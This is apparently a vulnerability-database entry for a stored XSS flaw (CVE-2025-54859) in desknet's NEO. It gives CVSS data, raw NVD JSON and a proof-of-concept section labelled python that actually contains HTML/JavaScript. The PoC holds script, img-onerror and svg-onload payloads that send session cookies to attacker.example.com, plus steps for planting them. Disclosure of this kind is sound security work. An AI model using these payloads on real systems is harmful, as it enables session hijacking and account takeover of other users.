Security Vulnerability Report
中文
CVE-2025-54859 CVSS 4.8 MEDIUM

CVE-2025-54859

Published: 2025-10-16 10:15:43
Last Modified: 2026-04-15 00:35:42

Description

Stored cross-site scripting (XSS) vulnerability in desknet's NEO V9.0R2.0 and earlier allow execution of arbitrary JavaScript in a user’s web browser.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

desknet's NEO <= V9.0R2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-54859: Stored XSS in desknet's NEO V9.0R2.0 and earlier Vulnerability: Stored Cross-Site Scripting (XSS) Affected: desknet's NEO <= V9.0R2.0 Author: [email protected] --> <!-- Malicious payload to be injected into a vulnerable input field (e.g., bulletin board post, message, schedule description, etc.) --> <script> // Steal session cookie and exfiltrate to attacker-controlled server var cookie = document.cookie; var img = new Image(); img.src = "https://attacker.example.com/steal?cookie=" + encodeURIComponent(cookie); // Alternatively, perform actions on behalf of the victim user // fetch('/api/some-action', { method: 'POST', credentials: 'include' }); </script> <!-- Alternative payload using img onerror (for inputs that strip <script> tags) --> <img src=x onerror="fetch('https://attacker.example.com/log?data='+document.cookie)"> <!-- Alternative payload using SVG --> <svg onload="alert(document.domain);fetch('https://attacker.example.com/?c='+document.cookie)"> <!-- Usage: 1. Authenticate to desknet's NEO as a legitimate user 2. Navigate to a feature that stores user input (e.g., bulletin board, message board) 3. Paste the malicious payload into the content field 4. Submit the form - the payload is now stored on the server 5. When another user (especially a privileged user) views the page, the JavaScript executes in their browser context -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54859", "sourceIdentifier": "[email protected]", "published": "2025-10-16T10:15:42.697", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stored cross-site scripting (XSS) vulnerability in desknet's NEO V9.0R2.0 and earlier allow execution of arbitrary JavaScript in a user’s web browser."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN90757550/", "source": "[email protected]"}, {"url": "https://www.desknets.com/neo/support/mainte/17475/", "source": "[email protected]"}]}}